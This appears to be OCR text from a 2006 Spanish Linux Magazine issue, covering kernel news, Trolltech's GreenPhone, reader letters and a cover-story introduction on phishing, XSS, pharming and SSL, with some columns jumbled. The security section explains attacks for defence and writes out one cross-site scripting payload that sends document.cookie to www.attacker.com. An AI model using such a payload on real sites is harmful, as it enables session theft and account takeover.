código DevFS completamente. Y acaba de
hacer lo mismo para la versión 2.6.16…
Andrew Morton ha aceptado el cambio tam-
bién en su serie -mm.
Está claro que DevFS se va a eliminar tarde
o temprano, y aunque no lo haga de la versión
2.6.16, sí lo hará en un futuro próximo. Pero,
aparentemente, siempre quedará un residuo
de él en el kernel, en el fichero de la documen-
tación /ioctl-number.txt. La existencia de
DevFS debe registrarse ahí como evidencia de
haber utilizado sus números ioctl, para que
puedan ser reutilizados por cualquier otra
cosa en el futuro.
Como parte de la transición de DevFS, Greg
continúa manteniendo su muy pequeña alter-
nativa , ndevfs.
ESTADO DE KLIBC
H. Peter Anvin ha llevado klibc hasta el nivel
de estabilidad en el que considera que está
maduro para su inclusión en el kernel. Este
proyecto pretende crear un libc muy pequeño,
lo bastante pequeño como para ser incluido
en el mismo binario del kernel y que esté dis-
ponible en situaciones en las que el libc mayor
no esté accesible.
Hay varios grupos que están muy contentos
con el progreso de este proyecto y muestran
mucho interés en probar y portar el código.
Uno de los aspectos más interesantes de este
proyecto es, según indicó Antonio Vargas, que
el kernel de Linux está evolucionando poco a
poco hacia una arquitectura más modular,
haciéndose hueco en el espacio de usuario de
una manera casi microkernelesca.
Linux Torvalds comentó algo sobre esto
hace unos años, diciendo que le gustaría ver
rutas de comunicación cada vez más formales
dentro del kernel para crear una estructura
cada vez más modular e independiente, pero
que no estaba dispuesto a asumir los sacrifi-
cios en eficiencia que asumen los que abogan
por un micro-kernel.
ESTADO DE LINUX-LIBC-HEA-
DERS
Mariusz Mazur se ha visto obligado a abando-
nar el desarrollo de linux-libc-headers. Una de
las quejas perennes sobre el kernel es que los
usuarios quieren incluir cabeceras del kernel
en el software que se ejecuta en espacio de
usuario. Los desarrolladores del kernel insis-
ten que esto no se debería hacer nunca, pero
eso no impide que otros programadores lo
requieran.
El proyecto de Mariusz hacía que fuera
posible, pero a expensas de un código verda-
deramente feo que (según Linus Torvalds)
nunca se incorporaría al kernel, al menos no
en esa forma.
Por tanto, el parche de Mariuzs no hacía
más que crecer, en la misma proporción en la
que nuevas versiones del kernel se alejaban
del hack. El tiempo empleado en portar la
solución a un nuevo kernel también se incre-
mentaba y llegó a ser insostenible. Sin
embargo, la necesidad para linux-libc-headers
sigue existiendo y varias personas implicadas
en el desarrollo del kernel han decidido
hacerse cargo del proyecto y estudian la
manera de seguir su desarrollo como grupo
sin tener que cargar todo el trabajo en un solo
desarrollador.
Si bien los detalles de la transición están sin
definir, hay ya una buena cantidad de desarro-
lladores del kernel que se están ocupando de
problemas de diseño subyacentes en un
esfuerzo de conseguir algo que algún día sea
aceptable para Linus.
Lo que tampoco está decidido es el rol de
Mariusz, ni siquiera se sabe si asumirá un
papel relevante en el nuevo proyecto o si lo
NOTICIAS DELKERNEL
Schlagwort sollte hier stehenLINUX USERNOTICIAS DEL KERNEL
La lista de correo del kernel de Linux comprende lo princi-
pal de las actividades de desarrollo de Linux. El volumen
del tráfico es inmenso, alcanzándose a menudo los diez
mil mensajes semanales. Mantenerse al día de todo lo que
sucede en el desarrollo del kernel es casi imposible para
una sola persona.
Sin embargo Zack Brown es uno de los pocos valientes
que lo intentan y a partir de ahora, podrá leerse lo último
de las discusiones y decisiones con respecto del kernel de
Linux llevados de la mano de este experto.
Zack ha publicado un resumen online semanal llamado
“The Kernel Traffic Newsletter” durante cinco años. Linux
Magazine te trae ahora la quintaesencia de las actividades
del kernel de Linux del mayor especialista en el tema.
10 Número 20 W W W . L I N U X - M A G A Z I N E . E S
abandonará íntegramente a terceros. Y encuanto a los mantenedores, queda por ver sise asignará un solo mantenedor, un grupo demantenedores o si la mayoría de los proble-mas se solucionarán en este fervor.
EL BAILE DEL 1395Adrian Bunk ha remitido un parche para eli-minar RAW1394_REQ_ISO_SEND yRAW1394_REQ_ISO_LISTEN del kernel, ale-gando que el nuevo interfaz rawiso basado enioctl es más eficiente. Por tanto, en teoría, elkernel debería seguir ofreciendo el mismonivel de soporte. Sin embargo, Gene Heskett yotros no andan muy contentos, ya que, por loque se ve, el ieee 1394 está roto desde la ver-sión Linux 2.6.13-rc1, a la vez que la lista decorreo de 1394-devel parece no hacer muchocaso a los informes de error. Gene tiene unanueva cámara Sony DVR-TVR460 que hadejado de funcionar a partir de la versión2.6.13-rc1.
ADIOS A BLKMTDJörn Engel ha remitido un parche que eliminablkmtd, ya que existe una alternativa en fun-cionamiento que no ha recibido un informede error en más de un año. Aparentemente,
blkmtd interfiere con los esfuerzos de H. PeterAnvin de integrar klibc y no hay una razón depeso para conservarlo.
El parche de Jörn eleva la característicablock2mtd, convirtiéndola en el método pordefecto de visualizar dispositivos de memoriacomo dispositivos de bloques. Andrew Mor-ton aceptó el parche casi incluso antes de quese remitiese. “Carguémoslo” fueron sus pala-bras, antes de enviarlo directamente a Linus,sin siquiera dejarlo fermentar en el árbol -mm.
LA VELOCIDAD DE GITgit ya no requiere un fork para una invocacióndiff. Linus Torvalds ha implementado soporteinterno de diff, recortando el tiempo de gene-ración de git diff a una sexta parte. Tambiénhace que git sea más portable en general, yaque no hay peligro de un fork bajo sistemasoperativos de Microsoft.
Alez Riesen probó el parche de Linus bajoCygwin e informó de mejoras de rendimientode hasta cincuenta veces con respecto a la ver-sión anterior. En vez de ejecutarse sus pruebasen un par de minutos, se ejecutaron en un parde segundos. En palabras de Linus: “Ésa es ladiferencia entre ‘inutilizable’ y ‘bastantebueno’”.
VMWARE Y PARAVIRTUALI-ZACIÓN
Al igual que Xen, la gente de VMWare está tra-bajando en la implementación de laparavirtualización que permitiría la ejecuciónnativa (o casi nativa) de múltiples instanciasde Linux en su hardware.
Esto se consigue haciendo que sea el propiokernel de Linux quien informe al sistema deVMWare de ciertas actividades que lleva acabo, con lo que se aportan enormes mejorasde velocidad sobre los esfuerzos anteriores deVMWare por conseguir la virtualizaciónplena.
Lo que es más, VMWare quiere que la inter-faz existente entre sí mismo y Linux segeneralice para que pueda ser utilizada porcualquier otro motor virtual, con la intenciónde no crear ningún tipo de interfaz especiali-zado y propietario dentro del kernel (o esodicen).
En última instancia, VMWare querría quelos kernels paravirtualizados fueran los ker-nels por defecto compilados sobre cualquiermáquina, lo que permitiría a los usuarios lan-zar diversos kernels simultáneamente demanera trivial.
NOTICIAS DEL KERNEL
Piensa en Verde…
Trolltech amplia su
oferta para, no sólo
producir excelente
software para el des-
arrollo de interfaces
gráficas (entre ellas el
escritorio KDE), sino
para dar un impulso a
sus escritorios empo-
trados, poniendo a la
venta su propio telé-
fono móvil: El
GreenPhone.
Primero las especificaciones: el hardware
es el de un teléfono con esteroides, esto es,
procesador dual-core Marvell XScale a
312MHz, 64 MB de RAM y 128 MBs de
memoria Flash, lo que lo convierte en el
sueño reencarnado en móvil de cualquier
geek.
Viene con una pantalla táctil tipo PDA
(aunque el interfaz también permite ser
operado a través del teclado) de 320 x 240
pixels, slot para tarjetas SD, modem
Broadcom BCM2121 GSM/GPRS con soporte
para WIFI, Bluetooth e IrDA y el
imprescindible mini-puerto USB, esencial
para descargar software y flashear la ROM…
Porque esto es de lo que va todo. El GP es
una máquina diseñada para impulsar el
desarrollo de la plataforma para móviles de
Trolltech, el hecho es que, de momento, sólo
hay una versión para desarrolladores y
probablemente nunca exista una versión para
el gran público, o al menos no con las
mismas características.
Si el aparato tiene éxito entre los geeks
dedicados al desarrollo de aplicaciones para
sistemas emprotados, Qt verá cómo el
número de aplicaciones creadas para su sis-
tema se incrementa exponencialmente,
situando a la empresa en una posición de
poder que le permita empujar sus productos
sobre terminales de otras marcas.
Es más que probable que esta estrategia se
deba a que los noruegos de Trolltech hayan
puesto sus barbas a remojar, al ver los rasura-
dos carrillos de sus vecinos, los finlandeses de
Nokia, que cada día apuestan más y más
fuerte por utilizar plataformas libres en sus
dispositivos. Motorola es otro de los jugado-
res que no tienen reparos en abandonar
plataformas más tradicionales por otras basa-
das en pingüinos, habiendo puesto en
circulación más de un millón de teléfonos
inteligentes Linux en China en el segundo tri-
mestre del 2006.
Pero, volviendo al GreenPhone, el sistema
operativo es un Qtopia Phone Edition 4.1.4
sobre un kernel Linux 2.4.19 y “todo el soft-
ware, a excepción de los componentes que
interactúan con la banda base, son libres”,
según el co-CEO de Trolltech Eirik Chambe-
Eng. La empresa tendrá versiones del aparato
disponibles a precios rebajados para poseedo-
res de licencias Qt. Y, por si a alguien le
quedaba alguna duda, Benoit Schilling, CTO
de Trolltech, se encarga de disiparlas: “Le
contaré un secreto: conseguir poner el telé-
fono en manos de los desarrolladores del
software libre es justo lo que deseamos”.
Supongo que no estará tan contento el día
que alguien quite Qtopia y le instale Gnome
sobre X, pero, en fin.
http://www.trolltech.com/products/qtopia/
phone_edition/greenphone
PRODUCTOS
Schlagwort sollte hier stehenLINUX USERNOTICIAS
14
consultar los RFCs de los protocolos y
estudiar el código de los programas (y
nada de mirar los comentarios, que
eso es para pusilánimes). Los RFCs y
el código pueden ser muy
informativos, pero una cosa es tener
acceso a la información y otra
comprenderla. Resulta que la mayoría
de los seres humanos no sólo necesita
que le proporcionen información, sino
que necesita ejemplos contrastados
para comprenderla. ¡Justo lo que
aportamos en Linux Magazine!
Otra de las misiones de los
redactores de Linux Magazine es
probar que el software de verdad hace
lo que dice que hace. Muchos
programadores hacen que sus
aplicaciones funcionen para ellos y
después las liberan al mundo. Que
funcionen en unas determinadas
condiciones controladas no significa
que funcionen para el resto de los
mortales. Nosotros ponemos a un
grupo de especialistas a probar las
tecnologías que van surgiendo,
encontramos sus fallos, sugerimos
soluciones o alternativas y allanamos
el camino para su uso. Por supuesto
que la búsqueda de esas soluciones y
alternativas también se puede
encomendar a voluntarios, pero esos
voluntarios han de hacerlo en su
tiempo libre, sacrificando tiempo que,
de otra manera podrían aprovechar
para ganar dinero, cosa que amenaza
la continuidad del servicio (ver
después).
Además, las soluciones de los
voluntarios pueden estar repartidas a
lo largo y ancho de la world wide
web, escondidas en comentarios
secundarios de un foro que ni siquiera
Google lista. No puede obligar a un
voluntario a que se lo ponga en
bandeja. A nosotros sí.
Uno de nuestros fines es investigar
todas las líneas de desarrollo y
reunirlas en un todo coherente y
estructurado. Si a esto le llama usted
“regurgitar”, efectivamente, de vez en
documentación impresa que
posteriormente se pone a la venta.
Sí, sí, el software es libre, los
programas vienen con su código
fuente, los estándares son abiertos,
pero pregúntele a un desarrollador
cuál es la tarea más desagradecida,
aburrida y de poder evitarlo, cuál
evitaría, del proceso de desarrollo y
contestará: La documentación.
De hecho, la falta de
documentación es el principal
anatema del software libre. Cuando
alguien pregunta en qué puede
ayudar en un proyecto,
automáticamente se le pide que
ayude en las labores de
documentación. Desarrollar está
bien, depurar es… bueno… no está
tan bien, pero tiene su punto, sobre
todo cuando cazas el bug. Sin
embargo, documentar es una
pesadilla.
Las revistas especializadas son
TODO documentación. Ni más, ni
menos. Alguien tiene que hacer el
trabajo sucio y por 6,95 es una
ganga.
Pero ¿qué pasa en los casos muy
documentados? Existe la posibilidad
de sobre-documentar. Fue Henry
Spencer quien dijo una vez: “¿Leer
las especificaciones OSI? ¡Si ni
siquiera puedo levantarlos!” ¿De
verdad es realista estudiar toda la
documentación de un programa, API
o protocolo, que puede abarcar miles
de páginas, para una implementación
específica? ¿Y si, como ocurre a
menudo, uno de nuestros autores ya
lo ha hecho por usted? ¡Qué suerte y
cuántas horas le hemos podido
ahorrar! Si valora el tiempo en la
misma medida que nosotros (a fin de
cuentas es lo único que no puede
volver a recuperar), coincidirá que
un artículo que ahorra varios días de
investigación y trabajo bien puede
merecer el precio de portada.
Y, además, por su propia regla de
tres, lo único que haría falta es
Correo del Lector
ACCESO DE ESCRITURA
Schlagwort sollte hier stehenLINUX USERCORREO
14 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Insuficiente
Estimados responsables de Linux
Magazine,
Recientemente estaba aburrido
esperando un avión y decidí
comprarme un ejemplar de su
revista. No suelo comprar revistas de
Linux, ya que la mayoría no suelen
hacer otra cosa que no sea regurgitar
a partir de material disponible en
Internet. Es más, muchas tienen la
desfachatez de ni siquiera ocultarlo y
referirme a recursos en la red… Y su
revista, tras su bonita apariencia, no
es una excepción.
Lo que es más, la elección de
algunos de los temas rayan en lo
ridículo. ¿Mejorar fotos con GIMP?
¿Instalación y configuración de otro
reproductor MP3? ¡Por favor! No me
esperaba esto de una revista que se
las da de “profesional”.
¿No les parece que es absurda una
revista de Linux, por la que cobráis,
si toda la información se puede
encontrar gratuitamente en Internet?
¿No les parece absurdo vender su
revista como la panacea para el
profesional de Linux y después
llenarla con artículos de relleno?
Alberto
¿Hemos de inferir que no le ha
gustado la revista?
Los que hacemos Linux Magazine,
independientemente de hacerlo
porque hemos de ganarnos la vida
de alguna forma (y qué mejor forma
de hacerlo que publicando una
revista sobre lo que nos gusta),
queremos aclararle algunos puntos
que surgen de vez en cuando (no, no
es usted el primero ni será el último
en sacar el tema) sobre la
www.alm
ogon.de
LM
¿Lo probamos? Venga. En un
número de Linux Magazine hay una
media de entre 15 y 19 artículos
técnicos. Suponiendo que cada
artículo aborde un único proyecto (lo
cual es mucho suponer), si usted
visitara y donara un mísero euro a
cada uno de los proyectos contenidos
en un solo número de nuestra revista,
estaría gastando de media más del
doble de lo que cuesta un ejemplar en
quiosco.
De todas maneras, después de haber
pagado a nuestros autores (que, en
muchos casos, son esos seres
altruistas que mencionábamos antes)
y proveedores, volvemos a volcar la
información a Internet. Podríamos
poner en la web resúmenes, extractos
o el primer párrafo de cada artículo,
como hacen otros, y publicar un
enlace que permita descargar el
artículo completo por un precio. Pero
no, nosotros lo ponemos todo libre y
gratuitamente a disposición del
público, saldando así nuestra deuda
con la comunidad online, en el caso
de que la hubiere.
En cuanto a su crítica sobre algunas
de las aplicaciones elegidas, a
diferencia de otros sistemas
operativos, Linux tiene el potencial de
ser de todo para todos. El amplio
espectro de dispositivos que soporta,
la enorme cantidad de software para
todo tipo de aplicación, hacen que
una revista de Linux ha de intentar
ofrecer el abanico más completo de
temas que quepa en sus páginas.
Cuando el mercado de
documentación sobre Linux en España
sea enormemente grande y haya
cabida para publicaciones
especializadas (nunca creí que
llegaría el día en el cual sugeriría que
Linux Magazine es una revista
generalista), no se preocupe, que
saldremos con Linux Magazine Server,
Linux Magazine Developer y Linux
Magazine Desktop.
Pero mucho me temo que, llegado el
día, usted seguirá considerando
nuestras publicaciones igual de
redundantes que ahora.
Excesivo
Muy Señores Míos,
Hace poco me decidí a probar
Linux y, en vista de lo que me
comentaban amigos y compañeros,
pensé que necesitaría una ayudita,
por lo que decidí comprar su revista.
Me sentí muy decepcionado al
encontrar que no cumplía mis
expectativas. No encontré la ayuda
que necesitaba. No explicaba cómo
instalar el sistema ni cómo
prepararlo para acceder a Internet.
Con su revista, no sé por donde
empezar. Presupone demasiados
conocimientos, de los que, me
imagino, muchos de los que
pretenden utilizar Linux no
dispondrán.
Espero que puedan solucionar esa
falta, ya que, sin tener la formación
necesaria para evaluar del todo su
revista, parece ser de las mejores del
mercado.
Un saludo
Víctor
(¿Lo ves, Alberto?)
Estimado Víctor,
Efectivamente, Linux Magazine
presupone algunas cosas, entre ellas
que sus lectores ya tienen instalado
Linux y que el sistema se encuentra
en un mínimo estado de
configuración. Después, cada sección
hace suposiciones sobre los lectores
a los cuales se dirige: la sección de
desarrollo supone que se dispone de
conocimientos de programación, la
sección de administración de
sistemas supone que se sabe
administrar un servidor y la sección
de LinuxUser supone que se tiene un
escritorio en funcionamiento y se
está mínimamente familiarizado con
su manejo.
Si su pregunta es “¿Cuándo van a
publicar un tutorial completo de
cómo instalar Linux desde cero?”, la
respuesta es: probablemente nunca,
a no ser que abordemos alguna vez
una instalación especializada y
excepcionalmente compleja para un
fin concreto.
Sin embargo, nuestra intención
nunca ha sido dejar a los usuarios
noveles fuera, y por ello, si nos lo
permite, ¿podemos sugerirle que le
eche un vistazo a EasyLinux
(www.easylinux.es), publicada por
esta misma casa y que contiene la
información que necesita para
empezar a funcionar en Linux? �
cuando regurgitamos. Eso sí, de
muchas fuentes diferentes, pero con el
mismo propósito que regurgitan los
pingüinos: el de aportar alimento a
sus crías (= los lectores) para que no
tengan que salir ellos mismos a cazar
(= perder el tiempo)… y esta
metáfora ha dado todo lo que tenía
que dar de sí. Por supuesto que los
enlaces al final de cada artículo son
(a) el reconocimiento a los autores
que nos han proporcionado la
información primaria y (b) la hebra
que le permite al lector llegar al
ovillo, en el caso de necesitarlo.
En todo caso, nunca hemos (y
nunca haremos) un copy y paste de
nuestras fuentes, sino que siempre
procesaremos, analizaremos e
ilustraremos con ejemplos la
información obtenida para darle un
valor añadido y hacerla más accesible
a los lectores.
En cuanto a la gratuidad, en inglés
decimos “there is no such thing as a
free lunch”, es decir, gratis, lo que es
totalmente gratis, no hay nada. Usted
paga su acceso a Internet (o se lo
pagan, la cuestión es que de algún
bolsillo sale), los contenidos han sido
desarrollados por un autor a quien, en
el caso de información procedente de
una corporación, alguien ha pagado
un salario. Incluso en el caso de
autores altruistas y sin ánimo de
lucro, esos autores vuelven a robar
tiempo a otros menesteres para poner
en la red la documentación. Si esos
autores descubren que esta tarea
obstaculiza sus necesidades primarias
dejarán de aportar, lo que nos lleva de
nuevo al peligro de la falta de
continuidad. ¿Y por qué cree que
tantos sitios web tienen un botón para
donaciones? Los autores necesitan
dinero para seguir con su labor. Si
usted pulsara en cada uno de esos
botones cada vez que descargara
software o consultara su
documentación, muy pronto se
encontraría pagando mucho más de lo
que vale un ejemplar de Linux
Magazine.
CORREO
16 Número 20 W W W . L I N U X - M A G A Z I N E . E S
LM
17Número 20W W W . L I N U X - M A G A Z I N E . E S
XSAEl phishing está basado en engañar al usua-
rio para que revele información personal
crítica. Pero hay otros métodos incluso más
difíciles de vigilar. Supongamos que esta-
mos logueados como usuarios de un foro.
De pronto, nuestro navegador nos pregunta
el nombre de usuario y contraseña (Figura
2). Si tecleamos nuestros datos pensando
que ha ocurrido algún tipo de error con el
software del foro, puede que un atacante
tenga ahora acceso a nuestra cuenta.
Este tipo de ataque se conoce como Cross
Site Authenticaion (XSA). El XSA se basa en
Evitar fisgones y estafadores en Internet
NAVEGACIÓN SEGURA
Navegación Segura• PORTADA
Navegar por la Web solía ser muy
sencillo, y todo parecía muy ino-
cente. Pero la Web de hoy en día se
ha convertido en un lugar muy diferente y
más oscuro. Si pulsamos en el lugar equivo-
cado, cualquier gángster informático de
cualquier lugar del mundo puede echar
mano de nuestro bolsillo. Nuestra mejor
defensa es saber las tretas y tener un plan
en consecuencia.
El tema de portada de este mes trata de
cómo podemos deambular por Internet de
manera segura y privada. Empezaremos
con un estudio del Pharming y el Phishing,
dos peligrosas técnicas que los estafadores
usan para acceder a nuestra información
personal y financiera. A continuación mos-
tramos Tor y Privoxy, dos herramientas de
privacidad que nos permiten navegar de
manera anónima. Y hablando de privaci-
dad, en nuestro tercer artículo de portada,
examinamos Antsp2p, un sistema que
soporta intercambio de archivos de forma
anónima.
Si queremos mantenernos libres de las
garras del ciber-crimen, o si simplemente
queremos navegar o compartir archivos sin
dejar trazas, seguro que encontramos algo
útil en los artículos del tema de portada de
este mes: Navegación Segura.
Pero antes de entrar en detalles, vamos a
empezar con un resumen de algunos de los
peligros que acechan al usuario de Internet.
PhishingPuede que alguna vez haya recibido un
correo electrónico (a menudo lleno de erra-
tas y deficiente gramática) pidiéndonos que
pulsemos en un enlace de nuestra supuesta
entidad bancaria, donde debemos rehabili-
tar nuestra cuenta online introduciendo de
nuevo nuestros datos. Si hemos recibido un
mensaje como el mencionado, hemos sido
objetivo de un ataque de phishing.
El phishing se basa en el comportamiento
de la gente poco cuidadosa (“si mi banco
me escribe, debe ser algo importante”).
Podemos encontrar algunos ejemplos de
ataques de phishing conocidos en la página
Web antiphishing.org [1].
Todo lo que se requiere para atacar una
dirección de
correo elec-
trónico es
añadirla en
una lista del cliente
de correo. Incluso se
añaden dominios no regis-
trados sin hacer ninguna
comprobación. Aparte de esto: un
email en HTML sólo necesita un link
con un texto visible que siga el patrón
www.cualquierbanco-xyz.com. Esto
no significa que la dirección nos
lleve a www.cualquierbanco-xyz.
com. Y por cierto, un enlace
como www.
cualquierbanco-xyz.
[email protected] no nos lleva
a ninguna página del
banco, sino que nos con-
duce a fraud.com.
¿Sabes lo suficiente para navegar a salvo de bucaneros y maleantes? Este mes os mostramos cómo
mantenerse alejado de todo tipo de trampas. POR JOE CASAD Y PETER KREUSSEL
Phishing . . . . . . . . . . . . . . . . . . . . . . . . 21
Tor y Privoxy. . . . . . . . . . . . . . . . . . . . . 26
Antsp2p. . . . . . . . . . . . . . . . . . . . . . . . . 29
EN PORTADA
Puede que perder la contraseña de un
foro no sea un golpe demasiado duro, pero
¿qué ocurre si esta contraseña es la misma
que usamos para nuestra tarjeta de crédito o
para una cuenta de un banco online?
JavaScriptJavaScript nos permite evaluar información
en formularios (Figura 3), incluso desde for-
mularios en ventanas diferentes. El peligro
que esto conlleva es bastante obvio. (Todo
lo que se necesita es tener la página del
banco online y la página fraudulenta abier-
tas al mismo tiempo, y el atacante puede
registrar lo que introduzcamos). JavaScript
restringe el acceso cruzado de ventanas o
marcos: esto funciona sólo si ambas pági-
nas o marcos están en el mismo dominio.
Para ser lo que es, la teoría funciona, pero
hemos de recordar que esta restricción no
se implementó correctamente en Firefox
hasta la versión 1.0. Las versiones actuales
de Konqueror y Opera no están afectadas
por esta vulnerabilidad, pero imaginemos el
siguiente escenario con un Firefox anterior
al 1.0: un atacante envía un enlace manipu-
lado por email. El correo abre la página de
nuestro banco, mientras que al mismo
tiempo abre un pequeño pop-up en
segundo plano. La ventana oculta puede
ahora registrar lo que tecleemos y hacerlo
llegar al atacante.
A la hora de tratar con JavaScript:
• No usar enlaces de fuentes no
confiables (es decir: email o páginas de
Internet no verificadas) para acceder a
páginas con aplicaciones críticas en
cuento a seguridad. Un enlace
cuidadosamente preparado puede
terminar inyectándonos código
JavaScript maligno.
• Usar sólo marcadores creados por no-
sotros mismos.
• Reiniciar el navegador para asegurarnos
de que el código JavaScript de una
página vista anteriormente por error no
sigue activa. Podemos revisar la sección
“Desktopia” del número 19 de Linux
Magazine edición en castellano apare-
cida en Septiembre de 2006
(“Extensibilidad”) donde encontrare-
mos información de algunas de las
extensiones más populares de Firefox,
incluida Noscript, que nos permite des-
habilitar JavaScript en las sesiones de
Firefox
Las aplicaciones Web y los foros a menudo
facilitan la vida a los atacantes, ofreciéndo-
les una puerta trasera que les permite
inyectar código JavaScript peligroso. Por
ejemplo, un atacante podría intentar
un sencillo principio: el atacante guarda
una imagen con la URL que conduce al
usuario desprevenido a un servidor Web
falso donde se le va a preguntar por su con-
traseña. En otras palabras, al usuario se le
pide la contraseña para ver la imagen.
Por supuesto, la página falsa preparada
por el atacante XSA está configurada para
aceptar cualquier combinación de nombre
de usuario y contraseña y para guardar
cualquier información que el usuario intro-
duzca. Esto permite que el atacante
recolecte las contraseñas de los usuarios
que se hayan logueado en la página falsa.
PORTADA • Navegación Segura
18 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Firefox y Mozilla tienen una
“funcionalidad” que proporciona a los
phishers una poderosa herramienta: los
navegadores basados en Mozilla usan
XUL, un lenguaje basado en XML, para
generar la interfaz de usuario.
Desafortunadamente, estos
navegadores muestran los elementos
XUL incrustados en las páginas Web,
permitiendo a los atacantes emular los
elementos originales que se muestran,
como barras de dirección o cuadros de
diálogo.
Como demostración de cómo usar XUL
para ataques de phishing, podemos
visitar [2]: pongamos lo que pongamos
en la barra de direcciones falsa, el
navegador seguirá mostrándonos la
página de Google (véase Figura 1). La
barra de tareas y los menús son falsas y
no funcionan, pero para cuando nos
hayamos dado cuenta, puede ser
demasiado tarde.
Los Poderes Ocultos deXUL
Ningún banco que se precie se le pasaría
por la cabeza enviarnos un correo elec-
trónico pidiéndonos que introduzcamos
nuestra contraseña o claves de transac-
ción. Ningún proveedor serio de Internet
nos preguntaría jamás nuestra con-
traseña. Después de todo, las con-
traseñas de los verdaderos usuarios
deben estar guardadas en algún lugar
de sus bases de datos. Si ha ocurrido
algún problema técnico, puede tener
sentido pedir al usuario que se loguee
en el sistema, pero no lo tiene en abso-
luto solicitarle la contraseña.
¿Por qué me preguntas?
Figura 1: La barra de direcciones de esta figura es una falsificación
basada en XUL. No nos muestra la dirección de la página actual,
sino que muestra un texto predefinido por el atacante.
Figura 2: Si nos fijamos con cuidado, veremos que hay algo raro: el
dominio que nos pide la contraseña no es el mismo que el de la página
actual.
loguearse con el nombre de usuario Bad-
Boy<script>(new Image).src=”http://
www.attacker.com/spy.
php?sniff=+document.cookie”;</
script>).
La aplicación Web puede que rechace
este nombre debido a su longitud, o que fil-
tre el componente Javascript. Pero si no lo
filtra, el código que lee las cookies creadas
para los visitantes de la página
(document.cookie) y que las envía como
parámetro (sniff=[...]) a www.attacker.com
se inyecta en cada página en la que se pida
el nombre de usuario.
Las comprobaciones de seguridad en el
lado del navegador están condenadas a
fallar en esta situación: el código JavaScript
está en la página a la que pertenece la coo-
kie. Desde el punto de vista del navegador,
no hay nada erróneo o extraño en que un
script acceda a la cookie.
La mayoría de las aplicaciones Web usan
cookies para identificar a los usuarios
conectados (véase Figura 4). Un atacante
que consiga acceso a nuestra cookie de
sesión puede hacerse pasar por nosotros.
PharmingEl pharming es otra técnica de ataque
extremadamente peligrosa aparecida
recientemente. Los atacantes vía pharming
explotan agujeros de seguridad en el
sistema de DNS. El navegador tiene en
primer lugar que resolver la URL antes de
poder conectarse a una página. Para ello se
comunica previamente con un servidor de
DNS en Internet. Los servidores DNS se
basan en una jerarquía: el primer punto al
que consultan es al servidor DNS que
nuestro proveedor ha especificado al iniciar
la conexión a Internet. Si pedimos una
página que ese servidor DNS no conoce,
éste recurre a un servidor por encima de él
en el árbol de jerarquía. Si el servidor tiene
la dirección en su caché, no será necesario
seguir buscando hacia arriba. Los ataques
por envenenamiento de la caché intentan
inyectar valores manipulados en ésta.
Podemos encontrar más información en el
artículo “La Historia de Phish: Phishing,
Pharming y la amenaza del robo de
identidad” en la página 21 de este mismo
número.
SSL/TSLEl protocolo HTTP transfiere información
de manera que no permite a los usuarios
Navegación Segura • PORTADA
19Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 3: Debido a que JavaScript puede leer las entradas hechas
en formularios, un fallo de seguridad podría permitir a un script leer
formularios más allá de los límites del dominio, lo que permitiría a
un atacante enviar nuestra información a su propia dirección.
Figura 4: Las aplicaciones Web usan cookies para identificar usuarios.
Si el atacante accede a esta información a través de cross-site script-
ing, puede llegar a robar nuestra identidad.
Figura 5: Si Firefox muestra este aviso casi incomprensible, largo y
penosamente formulado, deberíamos considerar no seguir adelante
si estamos manejando información sensible.
Figura 6: Los candados con los colores de semáforo facilitan al usuario
saber la gravedad de un problema de seguridad en las páginas de Man-
driva.
no es un intento
en balde debido a
ataques de enve-
nenamiento de
DNS.
Pulsando en un
enlace de una
fuente no confia-
ble como un
correo electrónico
puede socavar
este tipo de segu-
ridad: la barra de
direcciones de
nuestro navegador
Web no mostrará
la dirección
correcta. El propietario de la dirección sabo-
teada perfectamente podría tener un
certificado válido para su página Web.
Hay otra restricción importante que debe-
ríamos tener en cuenta: SSL Versión 2.0
tiene algunos agujeros de seguridad. Si des-
habilitamos SSL 2.0 en nuestro navegador,
ya no podremos acceder a servidores Web
obsoletos que sólo proporcionan conexio-
nes SSL 2.0. Pero esto no es del todo malo,
pues las conexiones SSL 2.0 son un riesgo
de seguridad.
Otro problema es el exceso de adverten-
cias de seguridad causadas por
administradores de servidores que no
hacen bien su trabajo, y que crean un
entorno en el que los usuarios, hastiados
de ver tanta advertencia, terminan pul-
sando sobre OK sin reparar en lo que están
haciendo. En algunas ocasiones, los admi-
nistradores incluso sugieren que las
advertencias de seguridad son algo “nor-
mal” y les indican a los usuarios que
pulsen OK a todo lo que encuentren.
En realidad, si el navegador muestra
una advertencia de certificado (véase
figura 5), tenemos que suponer que la
seguridad está comprometida. Cualquier
banco o tienda en línea al que confiemos
nuestro dinero o información personal,
debería demostrar que merece nuestra
confianza ofreciéndonos una conexión
SSL/TSL.
En ocasiones el asistente de seguridad
nos ofrece un remedio o un arreglo para el
problema. Sin embargo, mucho más a
menudo, la solución es instalar un parche
o actualizar a la última versión. Para evitar
la necesidad de comprobar
constantemente páginas Web en busca de
este tipo de información, algunas
distribuciones de Linux nos permiten
registrarnos para recibir avisos de
seguridad de Linux por correo electrónico.
Los fabricantes suelen distribuir sus
avisos de seguridad a través de listas de
correo. Podemos comprobar también las
páginas de seguridad de nuestra
distribución favorita, donde hallaremos
los detalles para las listas de correo y
cómo registrarse.
Además de las páginas específicas de
los fabricantes, están disponibles en la
Web muchas otras fuentes de información
relativas a la seguridad en Linux. Por
ejemplo, Security Focus [5] es una cono-
cida página Web que publica reportes de
fallos, avisos y mucha más información
acerca de aspectos críticos. Estas páginas
proporcionan de cuando en cuando artícu-
los de alto nivel, FAQs y foros acerca de
temas de seguridad. �
modificar la ruta que toma esta informa-
ción. Aunque esto es un método eficiente a
prueba de fallos, también significa que no
podremos confiar nunca en los ordenadores
intermedios entre el origen de la informa-
ción y el destino. O lo que es lo mismo,
tendremos que estar siempre vigilantes ante
ataques en puntos intermedios que fisgo-
neen nuestra información o incluso la
modifiquen. Se hace imperativa una cone-
xión cifrada que use SSL/TSL para
aplicaciones críticas como trabajar con
números de tarjeta de crédito.
El SSL/ TSL (Secure Sockets Layer/Trans-
port Layer Security) es un protocolo que usa
direcciones de Internet que comienzan por
https://. TSL es una extensión de SSL. Esta
conexión “segura” a Internet evita que los
atacantes secuestren equipos intermedios y
husmeen o manipulen la información. Al
mismo tiempo, esto garantiza que estamos
realmente conectados a la dirección mos-
trada en la barra de nuestro navegador.
Pero, de nuevo, es responsabilidad nuestra
asegurarnos que es correcta y que el enlace
no ha sido reemplazado por una dirección
